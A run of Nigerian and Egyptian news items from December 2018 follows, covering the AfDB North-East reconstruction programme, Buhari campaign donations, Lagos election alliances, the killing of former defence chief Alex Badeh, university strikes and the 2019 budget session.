insurgency which has brought untoward ... Without doubt, the Federal Government has shown unwavering commitment to contain the Boko Haram insurgency which has brought untoward decimation to lives and property in the North-East. Available statistics indicate that over the last decade, more than 20,000 persons had been killed, nine billion dollars worth of infrastructure destroyed, while no fewer than two million Nigerians had been displaced from their homes and communities. The efforts aimed at tackling the Boko Haram menace, no doubt, had been in collaboration with foreign and contiguous countries as well as development partners. However, what observers describe as one of the most integrated intervention is an African Development Bank (AfDB) Initiative, inaugurated recently. Speaking at the launch of the AfDB-funded Inclusive Basic Service Delivery and Livelihood Empowerment Programme of North East-Nigeria, the Vice President, Prof. Yemi, Osinbajo, espoused the Buhari Plan, a grand design for North Reconstruction. Osinbajo said that in 2018 alone, Nigerian Armys Operation Last Hold, had helped 35,000 people to voluntarily return to their homes and communities, and commence the task of rebuilding lives and livelihoods. The President and Commander-in-Chief is determined to decisively address the recent escalation in terrorist activities. Already the Chiefs of Army and Air Staff are relocating to the North-East, to oversee a scaling-up of our efforts to end the insurgency completely. This, as you all know, has always been the presidents promise to defeat Boko Haram and end the insurgency, and to rebuild and restore the North-East. But there remain significant challenges especially to lives and livelihoods in the North-East, which is why we are here. Right from its inception, our administration has demonstrated commitment to rebuilding the North- East. In 2016, we unveiled the Buhari Plan, a comprehensive blueprint for the recovery and reconstruction of the region. The plan established the Presidential Committee on the North-East Initiative (PCNI) to coordinate all efforts by state and non-state actors, to comprehensively address the economic, social and humanitarian crises in the region. At the core of our efforts is the conviction that humanitarian interventions are not by themselves enough to bring about a radical transformation of the circumstances of the North-East region. The vice president, said that the Federal Government believed in an approach that combined both humanitarian and developmental interventions, which meant combining short-term remedies targeted at vulnerable populations with solutions that looked well ahead into the future and address medium and long term challenges. According to the vice president, the ideal approach is the one that addresses todays issues, while simultaneously anticipating and devising solutions for tomorrows issues; such an approach not only wins the war but secures the peace as well. He said that in practical terms, it meant taking steps to reinvigorate social services such as the provision of health care and education, the restoration of civil authority in liberated areas, and the promotion of livelihoods and human security. And this is where the Inclusive Basic Service Delivery and Livelihood Empowerment Integrated Project (IBSIP), comes in. As more people return to their homes, the provision of essential services and job creation in safe locations will play a great role in ensuring that these returnees can get the basic tools and skills that they need to begin to rebuild their lives. The IBSIP, which will be implemented by the Federal Government of Nigeria and the African Development Bank (AfDB), is therefore an intervention focused on investing in infrastructural restoration, the reactivation of social services and the rejuvenation of livelihoods alongside the culture of enterprise which are necessary for sustainable post-conflict communities. Our goal is to achieve, through this project, transformative improvements in water, security, sanitation, food security, hygiene, nutrition, the provision of primary health care, basic education, access to markets, entrepreneurship and job creation. He said that the Buhari Plan identified key areas of critical impact which guided the design of intervention programmes in the North-East. Osinbajo said he was excited to note that the AfDB had, in the design and implementation of the IBSIP, keyed into the Buhari Plan, and was funding projects that would benefit an estimated 14 million affected people, including over 2.3 million Internally Displaced Persons. He said that in line with the Federal Governments focus on the vulnerable, 80 per cent of the targeted beneficiaries were women, children and youth. The vice president said that the government was also paying special attention to rural households in the local government areas affected by the insurgency. It has been gratifying to note how enthusiastically our friends and partners have rallied to our support, mobilising resources to tackle the crisis in the North-East. The AfDB is investing roughly 258 million dollars in the effort to activate critical impact areas of recovery in the North-East identified in the Buhari Plan, he said. On his part, Akinwumi Adesina, President, AfDB, said that the programme was developed in response to the Federal Governments plans for the North-East. Represented by Ebrima FAAL, Senior Director, Nigeria Country Department, Abuja, said that the programme was a good example of effective partnership between the Government of Nigeria and the development partners. He said the programme would be fruitful as it had strong and dedicated teams to drive it to a successful conclusion. Adesina said that the bank remained a strong partner of the federal and state governments in their efforts to restore livelihoods in the North-East. For instance, throughout the period of heightened conflict in the region with two performing programmes in Yobe and Taraba states. The experience gained and lessons learnt from implementing these two projects are incorporated in the design of the current intervention. The Inclusive Basic Social Service Delivery and Livelihood Programme seek to curb fragility aggravated by the insurgency in the North-East. The programme is fully aligned with four of the five priority areas of the Bank known as the Banks High fives Light and Power Africa, Feed Africa, Industrialise Africa, Integrate Africa, and Improve the Quality of Life of Africans. According to him, the programme addresses the improvement of quality of life of the population of the North-East Nigeria through the restoration of basic services. He said that the programme ensured equity by providing access to basic services for all. The AfDB boss said that the programme also incorporated special gender considerations by ensuring that women were active participants in all stages of the project and providing training for women and youth entrepreneurs to increase their chances for employment and business opportunities. He said that in addition, the programme would address rural electrification as it included integrated energy systems for pumping of water; lighting for institutions and community centres; providing for cold chains in health units, among others. An estimated population of 14 million affected people including about 2.3 million IDPs (of which 53 per cent are women, and 57 per cent are children) are expected to directly benefit from the basic service delivery interventions in health and nutrition, education, water and sanitation. Over 9,000 IDPs and heads of vulnerable households will receive direct assistance for their economic reintegration and livelihoods. Over 2,000 Small and Medium Enterprises (79 per cent women) will be reached to develop and enhance their businesses; 2,900 construction artisans and mechanics working in the informal sector will be supported to enhance quality and productivity and 2,000 unskilled youth will be trained in economic skills for employment and job creation. The challenge now is on the implementing agencies to deliver the basic services necessary for quick recovery of the North-East. I can assure you that the Bank in close collaboration with the World Bank, the Islamic Development Bank, the UN System and other development partners is well prepared to support the implementation of the project, he said. He said that the Bank had been building the capacity of the implementation teams of the five states over the last two months. Earlier, in his welcome address, Tijjani Tumsah, Vice Chairman, Presidential Committee on the North-East Initiative, said that the programme aside physical infrastructure, human capacity would also be boosted. Sharing similar sentiments, Gov. Mohammed Abubarkar of Bauchi State, expressed appreciation to Buharis led-administration for coming up with the Buhari Plan. Abubakar commended the AfDB initiative, and expressed optimism that it would tackle most of the daunting challenges confronting the North-East. The governor pledged his commitment toward ensuring the successful implementation of the programme. President Muhammadu Buhari will receive the report from the steering committee on the African Continental Free Trade Area in January 2019, the Presidency has just announced.Senior Special Assistant to the President on Media and Publicity, Mr Garba Shehu, in a statement said the committee did nationwide consultation and will present a report to Buhari in January to guide Nigerias next line of action on the AFCFTA. The reelection campaign of President Muhammadu Buhari on Wednesday night received a major boost. It got over N1.77 billion donatio... The reelection campaign of President Muhammadu Buhari on Wednesday night received a major boost. It got over N1.77 billion donations from the agricultural sector. Farmers and other Nigerians in the agricultural value chain showered the donations on the President during the Anchor Borrowers Programme Gala Night at the old Banquet Hall of the Presidential Villa, Abuja on Wednesday night. According to them, the President has changed the fortunes of the agriculture sector and by bringing unprecedented change to the sector. Apart from the increasing progress in the sector, they also claimed that the Presidents policies have resulted in savings of billions of naira. Topmost of the donations to the Presidents campaign fund is N1.2 billion announced by the President of Rice Farmers Association of Nigeria, Aminu Goroyo and N570 million announced by the Fertilizers Producers and Suppliers Association of Nigeria (FEPSAN). Stressing that the introduction of the Anchor Borrowers programme has turned around the fortunes of the 12.2 million registered members of the association, Goroyo said that each of the members have contributed N100 each for the Presidents campaign towards the 2019 Presidential elections. According to him, more fertilizers were made available and easy to rice farmers in the country in the last three years. All these achievements are from your commitments and favourable policies to agriculture. he said President of Fertilizers Producers and Supplies Association of Nigeria, Thomas Etuh, disclosed that N120 billion was saved in two years from fertilizer subsidy. President Buhari thanked them for the gesture. According to him, the National Bureau of Statistics (NBS) reports have confirmed that his administrations policies are yielding results. He noted that his administration inherited a broken system in the agricultural sector in 2015. He said Seeing your faces and hearing your stories give me hope..Today, we are on track to achieving inclusive economy. The Governor of the Central Bank of Nigeria, Godwin Emefuele said that the Anchor Borrowers programme launched on the 17th of November, 2015 has resulted in the savings of $800 million. Noting that the import bills before the introduction of the programme were as high as N1.4 trillion annually, he said that the anchor borrowers programme has been creating jobs and wealth for the teeming population. He said that 2.5 million jobs from rice farming have been created. According to him, the anchor borrowers programme is the most successful anchor programme in Africa. It has raised the standard of our farmers, he stated The Minister of Agriculture, Audu Ogbeh declared It has moved Nigeria up the ladder of Rice producers in Africa. On his part, Kebbi State Governor, Atiku Bagudu, who is the Vice Chairman of the national food security council, noted that the President has shown unprecedented commitments to agriculture development in Nigeria. He thanked the President for setting up the national food security council According to him, Nigeria is on the path of taking on the world. Dignitaries at the gala night included the National Leader of the All Progressives Congress (APC), Asiwaju Bola Tinubu, Kogi State Governor, Yahaya Bello, Zamfara State Governor, Abdulaziz Yari, Ondo State Governor, Rotimi Akeredolu, Jigawa State Governor, Badaru Abubakar. Eleven years after Babatunde Fashola, former governor of Lagos state, and Jimi Agbaje, governorship candidate of the Peoples Democrati... Eleven years after Babatunde Fashola, former governor of Lagos state, and Jimi Agbaje, governorship candidate of the Peoples Democratic Party (PDP) for the 2019 election, were locked in political rivalry, the camps of both politicians are teaming together for the next general election. In 2007, Agbaje, who ran under the Democratic Peoples Alliance (DPA), lost the governorship poll to Fashola of the then Action Congress (AC). But all that is over. TheCable reports that some key supporters of the two-term governor, who is now a minister, have pitched their tent with Agbaje. Following the crisis in the Lagos state chapter of the All Progressives Congress (APC), some allies of Fashola and Fouad Oki, factional APC leader in Lagos, defected to Accord Party. The former APC members had accused the leadership of the party in the state of imposition and high-handedness. At a press briefing in Lagos on Thursday, chieftains of Accord Party announced the endorsement of Agbaje, asking members of the party to work with him to unseat the ruling APC. Joseph Beckley, governorship candidate of Accord Party in Lagos, said his decision to concede to Agbaje was in the interest of the party and to take the state to a better place. Agbaje, who was present at the meeting which held at Airport Hotel in Ikeja, thanked the key politicians. He said Beckley accepted to concede to him because he saw a larger picture ahead and he knew it was a man with better chances that could solve the problems at hand. Beckley has magnanimously stepped down for me so that Accord can endorse me as their candidate for governor of Lagos state in 2019, Agbaje said. It takes a man of character to have run for an office, got the ticket and to accept that there is a larger picture to look at, that there is a more serious problem on ground and that to overcome it, he has agreed to step down for a person with a better chance. I accept with humility the honour you have granted to us. We shall get to the government house and serve our people better than the way they are being served today. The freedom train is on the move. Theres still room in the train and its time to move on. Its time for freedom for Lagos. We will get there in 2019. In the course of his campaign, Agbaje has been engaged in heated exchanges with not just Babajide Sanwo-Olu, his APC rival, but also Bola Tinubu, a national leader of the ruling party. The Nasarawa State Police Command on Wednesday revealed how former Chief of Defence Staff, Air Chief Marshal Alex Badeh was murdered ... The Nasarawa State Police Command on Wednesday revealed how former Chief of Defence Staff, Air Chief Marshal Alex Badeh was murdered Badeh was killed on Tuesday by unidentified gunmen along Abuja-Keffi road while returning from his farm. However, the Command disclosed that efforts were on to apprehend those behind the dastardly act. A statement issued by the Command reads: On the December 18, 2018 at about 18:35hrs, the former Chief of Defence Staff(rtd) while returning from his farm located in Panda Development Area of Karu LGA was attacked by gunmen at Tudu-Uku along Gitata-Keffi road. He was in the company of his friend and driver when the unknown gunmen ambushed and opened fire on his moving vehicle. The former Chief of Defence Staff suffered gunshot injuries, which resulted to his death while his driver was injured and the said friend abducted. The corpse of the late Air Chief Marshal and the injured driver has been taken to NAF Hospital in Abuja. Following the directive of the IGP Ibrahim K.Idris, the Commissioner of Police in Nassarawa State, CP Yahaya Bello and some senior military personnel have visited the scene alongside the IGPs Intelligence Response Team, IRT, and Special Tactical Squad, STS, who are to carry out a discrete investigation into the case. The US Embassy in Cairo is committed to supporting Egyptian entrepreneurs throughout the year, including through the Egyptian-American Enterprise Fund Since 2007, American embassies around the world celebrate the spirit of innovation through Global Entrepreneurship Week (GEW) during the month of November. Innovation and risk-taking play a critical role in the success of the American economy, and support for entrepreneurship has the potential to deepen the close business relations between Americans and Egyptians. We are proud to highlight the achievements of Egyptian entrepreneurs, connect them with their American counterparts, and look for new ways to support the next generation of Egypts economic leaders. This year, the Embassy in Cairo launched an initiative called Startup Egypt with our partners at INJAZ Egypt. Over the coming year, this programme will provide training to Egyptians from 35 startups, with the top seven startups selected at the programmes conclusion receiving seed funding from Boeing, one of the many American companies supporting Egyptian entrepreneurs. We also launched the Women Entrepreneurs Network to support aspiring and established women entrepreneurs in Egypt with access to knowledge, mentorship, and networking. And the American Center in Cairo held a number of workshops for entrepreneurs at all stages of their careers. As I was enjoying participating in the closing of our GEW activities at the American Corner at the Maadi Public Library, it occurred to me that our support for entrepreneurship in Egypt truly runs deep and is much broader than could possibly be captured in one weeks activities. In fact, it is the thriving entrepreneurial landscape in Egypt that has pushed us to engage all year-round. We have learned through our cooperative efforts with Egyptian partners that entrepreneurship is also a thriving and important part of Egypts economy and future. According to the Global Entrepreneurship Monitor Report, Egypts entrepreneurship ecosystem has expanded on several dimensions, for example, from a new US$55 million venture capital fund launched by Sawari Ventures to the establishment of a new government agency supporting entrepreneurs and micro, small, and medium businesses. As Egypts economy continues to grow, enriching the lives of millions of Egyptians, entrepreneurs will be key to achieving high rates of growth and solving some of Egypts most-pressing needs through innovation, technology, and passion. It is this fertile ground of entrepreneurship that inspired the Egyptian-American Enterprise Fund (EAEF), one of the flagship programmes that directly supports entrepreneurs in Egypt by taking equity stakes in Egyptian companies. The EAEF, funded by American taxpayers, promotes the development of Egypts private sector through direct investments in the most promising new companies. So far, the EAEF has committed US$130 million to five companies and three Egyptian investment funds for startups and small and medium businesses. Beyond supporting Egypts economic development and the next generation of Egyptian innovators, EAEF supports innovations in services that positively affect millions of Egyptians. For example, EAEFs newest investment of US$1.2 million in a company called SmartCare will expand access to primary healthcare at affordable prices. SmartCare matches families and patients through a single point of contact with affordable specialists or surgeons. EAEF also just announced a US$3 million investment in Dawi, a startup that is establishing a network of five primary clinics across greater Cairo, with the aim of making healthcare more affordable, transparent, and convenient, while maintaining the highest standards. We at the US Embassy in Egypt look forward to continuing to support Egypts full entrepreneurial potential for years to come. More importantly, I am eager to see what will come of these efforts: what might Egyptian entrepreneurs do next to come up with the next great product, service or company? The skys the limit! * The writer is charge daffaires at the US Embassy in Cairo. * A version of this article appears in print in the 13 December, 2018 edition of Al-Ahram Weekly under the headline: The discourse on Egypt Search Keywords: Short link: Ibrahim Idris, inspector-general of police, has deployed the police intelligence response team and the special tactical squad to Nasar... Ibrahim Idris, inspector-general of police, has deployed the police intelligence response team and the special tactical squad to Nasarawa state to fish out the killers of Alex Badeh, former chief of defence staff. Kennedy Idirisu, spokesman for Nasarawa police command, said the team, alongside senior military personnel, were led to the scene of the incident by Yahaya Bello, commissioner of police, in line with the IGPs directive. Idirisu said the late Badeh was shot dead at about 6:30pm on Tuesday by gunmen at Tudu-Uku village along Gitata-Keffi road in Karu local government area of the state. He said Badeh was returning from his farm in the company of his friend and driver when unknown gunmen ambushed and opened fire on their moving vehicle. He said in a statement: The former Chief of Defense Staff suffered gunshot injury, which resulted in his death, with the driver sustaining injuries while the friend was abducted. The Nasarawa State Commissioner of Police is therefore calling on the public with useful information to avail the police with the view to rescuing the abducted person and arresting the perpetrators of the dastardly act. Presidential candidate of the Allied Congress Party of Nigeria, Dr. Obiageli Ezekwesili, has said she has raised the bar in making 2019 election campaigns issue and value-based and has forced the dominant parties to start focusing on same.She said this during a meeting with the International Republican Institute, IRI and the National Democratic Institute, NDI, which are fielding a Joint International Elections Observer Mission.The IRI and NDI high-level delegation is in Nigeria between December 14 and December 20, 2018 to meet with key stakeholders on the electoral process and assess the pre-election environment.The delegation is led by Ambassador Linda Thomas-Greenfield, former Assistant Secretary for the Bureau of African Affairs; Ambassador Lewis Lucke, Executive Vice President for the Middle East and Africa of Grainster LLC; John Tomaszewski, Regional Director for Africa at IRI; and Dickson Omondi, Kenya Resident Country Director at NDI.The delegation met with the ACPN presidential candidate in Abuja before meeting with President Buhari.Expressing doubt over the willingness of President Muhammadu Buhari to ensure fair play in the 2019 election, Ezekwesili assured the delegation of her commitment to promoting peace before and after the election.She asked the delegation to caution the President against compromising the standard of the election.My entry into the presidential race is to win and provide the long elusive good governance to Nigerians so that our country and people will prosper, become stable and live in harmony, Ezekwesili said.She added: I have raised the bar in making 2019 an issue/value-based campaign and forced the dominant parties to start focusing on same. My candidacy is mobilising the citizens into a movement of enlightened voters who can make informed choices in the elections. The governorship candidate of the Peoples Democratic Party in Lagos State, Jimi Agbaje, has been endorsed by the Accord Party.At an elaborate ceremony at the Lagos Airport Hotel, Ikeja on Thursday, leaders and members of Accord said they were ready to work with Agbaje to unseat the ruling All Progressives Congress.The governorship candidate of Accord, Joseph Beckley, said he decided to concede to Agbaje in the general interest of the state.Agbaje, in his remarks, thanked the party for the endorsement.He said it was a sign that the state was ready for a change of leadership.He said, Enough of Baba Sope. Enough of Eko sun lo. It is time to free Lagosians. And for those on the other side, it is not too late to join this moving train.Accord party claimed that it received 20,000 members of the APC who defected to the party on Thursday. The Governor of Kogi state, Yahaya Bello on Wednesday described lawmakers who made the proposed 2019 budget presentation by President ... The Governor of Kogi state, Yahaya Bello on Wednesday described lawmakers who made the proposed 2019 budget presentation by President Muhammadu Buhari rowdy as a bunch of poorly-trained lawmakers at their youthful age. According to him, the lawmakers actions at the joint section of National Assembly on Wednesday show they are not just self-centered, but bent on destroying Nigeria and its democracy. Bello said this while speaking with State House correspondents at the end of the Anchor Borrowers Programme Gala Night at the Presidential Villa on Wednesday night. Buhari on Wednesday while reading 2019 budget, was booed and interrupted by lawmakers of opposition parties each time he mentioned an achievement by his administration. As the President mentioned each achievement, the protesters chorused, No! Lie! Boo! Propaganda! The APC lawmakers made a counter move by cheering the President, Sai Baba! Both sides raised their voices as Buhari read the budget. The actions of the lawmaker made the President to remind the aggrieved lawmakers that, The world is watching us and we are supposed to be above this. The governor, however, noted that President Buhari remained calm despite the provocations from the lawmakers and displayed his fatherly love for Nigeria. Asked his reaction to the drama that played out during the budget proposal presentation, Bello said Well, first of all, two distinct human beings. A father and a gentleman who has the interest of the country at heart, President Muhammadu Buhari has displayed his stuff and those who are selfish, self-centred and bent on destroying this country and democracy have also shown themselves today. As I said sometimes back that when you have a child that is not well trained by his parents, he will constitute a menace to the society. And that is what we witnessed today at the National Assembly. The National Assemblies are supposed to be made of men and women of character and integrity. Weve seen those who constitute such class of human being today and those that constitute a menace to the society in the National Assembly today. President Muhammadu Buhari, has vowed to make the countrys aviation industry a pride in Africa.He said the federal government owed Chinese government $69.3million counterpart fund for the construction of four airports under the project.The four airports are Abuja, Lagos, Port Harcourt and Kano.The President, at the commissioning of the new terminal at the Nnamdi Azikiwe International Airport, NAIA, in Abuja, said his target was to make Nigerian Aviation industry a pride in the continent.He said, I wish to assure you therefore, that Government remains committed to developing Nigeria into Regional air transportation hub and thereby assuming its leadership in the aviation sub sector in Africa.This Administration recognises aviation as a catalyst for economic growth and as such will continue to encourage and support the actualization of projects that will place Nigerian Airports amongst the best in the world.With the commissioning of the new Terminal, Buhari said that the country was moving towards achieving and meeting global aviation standards in facilitation, passenger processing and service delivery in tandem with international best practices.It gives me great pleasure to be here for the formal commissioning of the new Terminal at the Nnamdi Azikiwe International Airport, Abuja. This event represents yet another significant milestone for International air travellers in and out of the Federal Capital Territory, he stated, he said.He recalled that the Minister of State for Aviation, Sirika had given him his words to have the new terminal commissioned before the end of December 2018 which he has fulfilled.You will recall that on the 25th October, 2018, I commissioned Port Harcourt International Airport Terminal. During the event, the Honourable Minister of State (Aviation) stated that the Nnamdi Azikiwe International Airport Terminal, Abuja would be completed and ready for commissioning before the end of the year. Today, that promise has been kept. I wish to commend the Honourable Minister and his team for a job well done.This event today, reflects Governments deliberate policy to sustain the development of Nigerias infrastructure. We are gradually closing the infrastructural deficit bedevilling our country.Nnamdi Azikiwe International Airport Terminal is the first airport terminal to be connected to rail transport system in the Country and indeed in the region. This has provided passengers and other airport users with a choice in the mode of transport to and from the city centre. I recall taking a ride from the City Metro station to the Airport on the day the rail line was commissioned.He thanked the Minister of Transportation, Mr Chibuike Amaechi, the Chines government, China and the China Exim Bank and the China Civil Engineering Construction Corporation, CCECC, their financial support and the various roles they played leading to the successful completion of the project.Hadi Sirika on his part, pleaded with Mr. President to intervene in the outstanding payment of the counterpart fund of $69.3m out of the $100m Nigeria was to pay for the projectAccording to him, We are committed to rounding up the project soon, the contractor has gone ahead to implement it as approved, but recently slowed down the pace of work due to non-payment of $69.3m counterpart funding by government. May I respectfully at this point, request Mr Presidents kind intervention in this regard, please.He explained, This is the second in the series of Airport terminals to be commissioned from the projects funded by the China-Exim bank loan of $500m with a counterpart funding of $100m from the debt management office.The Minister further stated, From political and economic perspectives, this airport is very strategic to Nigeria not only because it is the gateway to the nations capital but also because it the second busiest airport in the country and the fastest growing in passenger traffic in West and Central Africa, with an average growth rate of 8%, where the world average growth is 5.8%.On the number of passengers that patronized the airport, he stated, The Airport processed 5,709,012 passengers in 2017. This volume equals to about 13 times the total number of passengers recorded by Ghana as a country.The terminal building has annual passenger capacity of 15m covering a space of approximately 56,000m2. It also has the following facilities as well as capabilities; 72 check-in counters: 5 baggage collection carousels: 28 immigration desks at arrival and 16 at departure: 8 security screening points and 8 passenger boarding bridges Others benefits of the terminal, he added, has a walkway to link the FCT metro rail: additional apron for remote parking of aircraft and a linkway to domestic wing and many other facilities that are properly designed and laid out in accordance with modern requirements for airport operations.Sirika further thanked Mr President for approving the second phase of the project.Mr President will recall FEC approval of the second tranche for the funding of the phase two of this project in the sum of $461,795,551.02.He continued, The phase takes into cognisance, additional facilities that will enhance airport efficiency. These includes but not limited to construction of additional apron: Multi-level car park: Fire station: Additional boarding bridges: Connection between the old and the new terminals, Facility and boarding bridge to accommodate Airbus A380, and the phase two also includes completion of Kano and Lagos terminals. House of Representatives Thursday asked President Muhammadu Buhari to immediately sack the Chairman, Special Presidential Investigation Panel, SPIP, Okoi Obono-Obla for certificate forgery and corruption.The House also urged the president to dissolve the panel headed by Obla, requesting that the Code of Conduct Bureau, CCB, be effectively utilized to perform the function meant for it in the anti-corruption fight.Members of the House reached the decisions following the recommendations of an adhoc committee set up to investigate the legality and modus operandi of the Special Presidential Investigation Panel.It will be recalled that the ad-hoc committee conducted an extended public investigation on the activities of SPIP in July this year.The exercise was essentially based on the allegations of corruption contained in the audit report of the Auditor-General of the Federation on the financial transaction of the panel.Besides, there were also sundry cases of arbitrary use of powers and office of the chairman by Obla and certificate forgery against Obla.Considering the recommendations contained in the report of the Adhoc committee chaired by Hon. Aliyu Patigi in the Committee of the Whole presided by the Deputy Speaker, Hon. Yusuf Lasun on Thursday, the House also called the Independent Corruption Practices and Other Related Offences Commission, ICPC, to prosecute him.Hon. Kingsley Chinda from Rivers State moved the motion on behalf of Patigi who was not present on the floor for the consideration of the recommendations.He said That the House do consider the report of the Adhoc committee on the Need to Investigate the Legality and Modus Operandi of the Special Presidential Investigation Panel and approve the recommendations (Laid July 27, 2018).The recommendations included: That the president should be urged to dissolve the panel in view of the arbitrary use of powers and abuse of office of the chairmanThat the Code of Conduct Bureau should be utilized for function the panel seeks to perform in the current anti-corruption drive.That the Independent Corrupt Practices Commission, ICPC should investigate the allegations of corruption contained in the audit report of the Auditor-General of the Federation on the financial transaction of the panel and prosecute the culprits.That the Law Degree of chief Okio Obono Obla, having been obtained fraudulently should be withdrawn by the University of Jos.That the Body of Benchers should withdraw the call to bar certificate awarded to Ofem Okoi Ofem (now known as Chief Okoi Obono Obla) as it was based on the Degree which they obtained from the University of Jos through fraud.That the president of the Federal Republic of Nigeria should discharge Chief Okoi Obono Obla of his responsibility as Special Adviser and Chairman of the Special Presidential Investigation Panel, SPIP.That Chief Okoi Obono Obla should be investigated by the Inspector-General of Police and charged to court for forgery and misrepresentation.That the President of the Nigeria Bar Association, NBA, the Director-General of Nigerian Law School, the Vice Chancellor, University of Jos, the Attorney-General of the Federation, AGF and the Chief Justice of Nigeria, CJN should ensure Chief Okoi Obono Obla is prosecuted. The Presidency has reacted to the rowdy session caused by lawmakers during President Muhammadu Buharis presentation of 2019 budget at... The Presidency has reacted to the rowdy session caused by lawmakers during President Muhammadu Buharis presentation of 2019 budget at the National Assembly. Buhari on Wednesday, while highlighting successes of his administration, was booed and hailed by lawmakers. Their actions has since stirred reactions online. The Senior Special Assistant to the President on National Assembly Matters (Senate), Senator Ita Enang, addressing journalists after the rowdy session said such actions by lawmakers was unsurprising. Enang said lawmakers and Senators who lost tickets to contest in 2019 elections are responsible for attack at President Buhari. According to him, such is expected ahead of 2019 election. Enang said, This is the year of election. This is the year when members have lost nominations by their political parties. This is the year when many members have changed their political parties. We are going for elections, and any year you have elections, sometimes you see a president saying I am sending the budget, I dont want to go and face the heat of the people who lost nominations. But he didnt do that. He said I am the President of the Federal Republic. I will go and address them, and perform my constitutional duty. Recall that lawmakers booed the President as he highlighted some of the successes so far recorded by his administration. The actions of the lawmaker made the President to remind the aggrieved lawmakers that, The world is watching us and we are supposed to be above this. In what appears to be a total shut-down of our tertiary education, some stakeholders are calling for a declaration of state of emergency in the sector as Academic Staff Union of Universities, ASUU, and Academic Staff Union of Polytechnics, ASUP, are presently on strike and Senior Staff Association of Nigerian Universities, SSANU, is warming up for a shut-down, after their three days warning protest elapsed yesterday (Wednesday).Today makes it 46 days that university teachers in public universities have boycotted the classroom over Federal Governments refusal to honour the agreement it reached with the union in 2009 and 2017.Since November 4 when ASUU commenced the strike, the duo had held six different unsuccessful reconcillatory meetings. On Monday this week in Abuja, ASUU delegations apparently walked out on the Federal Government representatives when it was clear to them that government was not serious with their promises. As it stands, there is no fixed date for the next meeting. The present situation has left the fate of our teeming youths seeking admission and the undergraduates hanging in the balance.Similarly, in the Polytechnics, ASUP, after several warning strikes, on December 12, embarked on an indefinite strike over Federal Governments refusal to implement the agreement it had with the union.Sad enough, in a meeting held on Monday between the Union and the Federal Government, no resolution was reached, as the meeting was postponed till January 10, 2019.Speaking with Vanguard, ASUP President, Mr Usman Dutse said: We are still having another meeting on January 10, the strike still continues.He said: We have the issue of NEEDS Assessment, we have the issue of CONTISS 15 arrears, we have the issue of the Scheme of Service, and the issue of non- payment of salaries in state- owned institutions, and then we have the issue of victimised members. So these are the major issues.He said the union had no regrets embarking on strike the same time with their university counterparts, saying: The issue of being the right time depends on the environment you find yourself.They have their issues and we have ours. And because ASUU is on strike doesnt mean we cant go on our own. These are two different things.If you are following the trend, you will see that we have had several engagements with the government and they have made several appeals and so now, we have decided to embark on strike. So, it depends on the environment.Meanwhile, SSANU President, Dr Samson Ugwoke who spoke to Vanguard said that the Union workers are not on strike as some people think.He said: Workers are not on strike as some people think, we are only protesting for three days, Monday to Wednesday of this week in all the branches of the universities.We are protesting to draw the attention of the Federal Government to the outstanding issues in the agreement and the MoU it signed with the union.Pointing out some of the unions grievances, Ugwoke said: We have our members in the staff schools who were disengaged for two to three years now. Some of them are being subjected to inhuman treatment of unbearable and unacceptable conditions of service as initial employees of the university.They were employed by the Council just like any other person, but now, their condition of service has been changed without recourse to the university law which is wrong.They chased them out of job overnight because of a mere circular, saying if you are not taking this salary, dont work.The matter was taken to Industrial Court of Nigeria in Abuja by the Ministry of Labour, it was clearly stated that if it is the council that employs, it means the same thing as the government.The clear decision of that judgement which we got on 5th December 2016, has never been implemented by the Federal Government and these people remain outside their work place till now.The other reason for our protest is our earning allowances which is part of the 2009 agreement, the outstanding has been very commercial, Federal Government has been paying peanuts. The little N8 billion given to us has been disbursed and government is telling us to decide how to share it. Union does not employ or share money, it is the government that employs.The Federal Government has called for another meeting on Thursday at the National Universities Commission and we are meeting by 10:00am. When we hear them on Thursday, we will know the next line of action. The Vice President, Prof. Yemi Osinbajo, says the TraderMoni initiative under the Social Investment Programme was to uplift and boost ... The Vice President, Prof. Yemi Osinbajo, says the TraderMoni initiative under the Social Investment Programme was to uplift and boost the businesses of petty traders across the country. The initiative personally conceived by President Muhammadu Buhari, is a micro-loan scheme under the Government Enterprise and Empowerment Programme (GEEP), it provides capital for artisans, and petty traders. Osinbajo stated this after inspection of Command Centre, where Tradermoni was being monitored and tracked at Bank of Industry (BOI) in Abuja on Thursday. President Buhari was a chairman of a group known as Katsina Foundation; the foundation was doing this exactly by giving loan to small traders like people making Akara and other small trades. The foundation gave loan to a lot of traders and he felt this could be replicated on the national scale because of how it worked. I can tell you that in terms of originating the concept of this Tradermoni, it is from the president. He has done it before and he had seen it working, he replicated it at the national level and I am happy we are succeeding The programme also provides loans for commercially active Nigerians typically unable to access loans by traditional lending institutions as they have no formal identities, financial track record or even collateral. The vice president noted that BOI was brought in, to give professional and commercial way of doing it. He said that no fewer than 1.4 million people had so far benefitted from the programme across the country. According to him, the programme is the largest in Africa and no country that has anything close to it in the world except India. Osinbajo said that it was unfortunate and ridiculous that people were criticising a programme of this nature that had touched lives of a lot common man. It is a programme approved by the senate and the entire National Assembly. I am wondering while an individual is condemning such project. We are only going out to implement it and we are doing so as vigorous as possible Osinbajo stated. The Presidential Candidate of the Peoples Democratic Party, PDP, Alhaji Atiku Abubakar, has called on President Muhammadu Buhari to re... The Presidential Candidate of the Peoples Democratic Party, PDP, Alhaji Atiku Abubakar, has called on President Muhammadu Buhari to resign following the scenario that played out during the 2019 budget presentation to a joint session of the National Assembly on Wednesday. Atiku said in saner climes, the expected outcome of the event, would have been immediate resignation. The former Vice President said this in a statement signed by the Special Adviser on Youth of Atiku Abubakars Support Groups, Ambassador Aliyu Bin Abbas. The statement reads, President Muhammadu Buharis emphasis that the world is watching while the Legislative Arm disagreed and indirectly passed a vote of no confidence on him is a clear indication of his failure and incompetence. That majority of the countrys lawmakers disagreed with Mr. Buhari should have told him that there is loss of confidence in his administration. What he ought to have done was the needful, instead of attempting to whip up unnecessary sentiments by repeatedly saying, The world is watching. Was the world not watching, when this present executive arm of government led by Buhari blatantly refused to respect other arms through arm twisting and intimidation? The same Buhari with impunity refused to respect the Judicial Arm when they granted bail to Dasuki. The same government failed to realise that the world is watching when they blatantly looked the other way as Nigerians are dying daily of hunger and deprivation as a result of the governments insensitivity and incompetence. The world will actually be expecting Mr. Buhari to see the hand writing on the wall that Nigerians from all demographics are completely tired of him and are gearing up to oust him through the polls. Buhari should also remember that as we go to the polls, the world will be watching, hence there should be no attempts of subverting the will of the people as the world will back Nigerians to vehemently reject and attempts to illegally prolong his stay in power. Egypt has played a central role at the United Nations since the world organisations foundation in the dying days of World War II The history of the United Nations testifies to the important role played by Egypt in the creation of the world organisation and the drafting of its charter at the San Francisco Conference at the end of World War II. This history has also recorded how Egypt has consistently defended the interests and aspirations of the Arab and African nations in the organisation in 